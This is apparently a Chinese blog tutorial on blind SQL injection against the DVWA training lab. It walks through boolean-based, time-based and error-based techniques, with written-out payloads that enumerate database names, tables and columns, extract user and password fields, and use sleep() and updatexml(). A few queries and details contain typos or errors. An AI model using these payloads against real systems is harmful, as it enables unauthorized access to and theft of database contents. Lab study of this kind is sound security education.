DVWA 之 SQL Injection (Blind)

SQL盲注方法:
① 基于布尔的盲注
② 基于时间的盲注
③ 基于报错的盲注

基于布尔的盲注

这里我们先进行基于布尔的盲注,以等级为low举例
同sql注入一样,首先判断注入类型,利用二分法判断数据库名称的长度,判断数据库名称的字符组成,猜解数据库表名

1. 判断数据库名称的长度(假设这里为整型注入)

1’ and length(database())>10 # missing

直到出现exists,得出数据库名称长度

2. 判断数据库名称的字符组成

1 and ascii(substr(database(),1,1))>100 # missing

在这里插入图片描述得到数据库名称

3. 猜解数据库表名

(1) 猜解表的个数

 1 and (select count(table_name) from information_schema.tables where table_schema=database())>10

(2) 猜解表名

1 and length(substr ((table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4. 猜解表中的字段名

(1) 猜解ueser表中的字段数目

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=’users’)>10 #

(2) 猜解users表中各个字段的名称

1 and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’username’)=1 #

5. 获取表中的字段值

(1) 用户名的字段值

 1 and length(substr((select user from users limit 0,1),1))>10 #

(2) 密码的字段值

1 and length(substr((select password from users limit 0,1),1))>10 #

基于时间的盲注

等级:midium

利用burpsuite进行操作

1. 猜解当前数据库的名称

用if函数作为判断条件,若为真执行sleep函数

1 and if(length(database())=4,sleep(2),1) # 

response time为2031 ms 说明当前连接数据库名称的字符长度为4,执行时延迟了5s

同上,利用ascii来判断数据库名称

1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) #

response time 为2049

基于报错的盲注(详情见sqli-labs通关教程 Less-5)

“ACSII” 在url表示为 “0x7e”
“#” 在url表示 “%23”
“Space” 在url表示为 “+”

将error.php放置phpstudy下的文件夹内,访问127.0.0.1/error.php?Username=1,返回“ok”,我们再次访问username=1’我们对比发现后者出现错误。
在这里插入图片描述
在这里插入图片描述

利用**updatexml()**演示SQL语句获取user()的值,获取用户名

127.0.0.1/error.php?username=1’ and updatexml(1,concat(0x7e, (select user ()),0x7e),1) --+

在这里插入图片描述
获取表名

127.0.0.1/error.php?username=1’ and updatexml (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’test’ limit0,1),0x7e),1) --+
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

两小姐的便利贴

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值